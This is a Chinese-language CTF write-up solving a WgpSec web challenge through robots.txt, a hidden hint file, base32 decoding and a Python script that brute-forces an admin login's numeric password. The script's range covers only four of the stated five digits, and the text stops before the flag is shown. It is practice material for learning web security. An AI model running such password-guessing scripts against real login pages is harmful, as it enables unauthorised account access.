作者的啰嗦

这是作者第一次更新有关ctf题目的文章,那么什么是CTF比赛呢?
CTF是一种流行的信息安全竞赛形式,其英文名可直译为”夺得Flag”,也可意译为”夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为”Flag”。
具体的的一些细节,我就不在这里说明了,如果您对CTF感兴趣的话,可以具体找找相关说明。

题目的网站

这里是WgpSec CTF官方网站https://ctf.wgpsec.org
然后找到web题目:尝试找到你的小姐姐吧

开始做题

在正式开始之前,你需要了解如下:

  1. 什么是robots协议
  2. 电脑已经有了Python环境,并且下载了pip(我的解题思路会用到Python脚本)

正式开始

点进去后发现是这样的

什么都没有先查看一下源代码:

他说百度收录不了,那肯定就是robots协议,什么是robots协议呢?
Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
试着访问/robots.txt:

发现一个路径:/readme_hahah.txt,试着访问它:

这里的信息特别多:

  1. 首先用户名是admin
  2. 密码是5位的数字
  3. 网站的登录网址(被遮盖了一部分)

base32位解码

将Hint的内容进行base32位解码(网上在线解码即可):

提示我们用记事本打开最初的那张照片,那我们先右键图片进行下载后打开。可以找到:

这就是登录网址被遮盖的一部分:/7b6ca699

输入网址:http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/login.html

脚本爆破

这里作者的方法是用Python进行爆破:

import requests


def num(x):
    mmm = 6 - x
    item1 = ''
    ooo = range(1, mmm)
    for it in ooo:
        item1 += '0'
    return item1


#
url = 'http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/login.php'
data = {'username': 'admin', 'password': '00000', 'verifycode': '', 'submit': ''}
a = range(0, 10000)
for item in a:
    stritem = str(item)
    newitem = num(len(stritem)) + stritem
    data['password'] = newitem
    r = requests.post(url, data)
    print(r.text + newitem)

得到flag: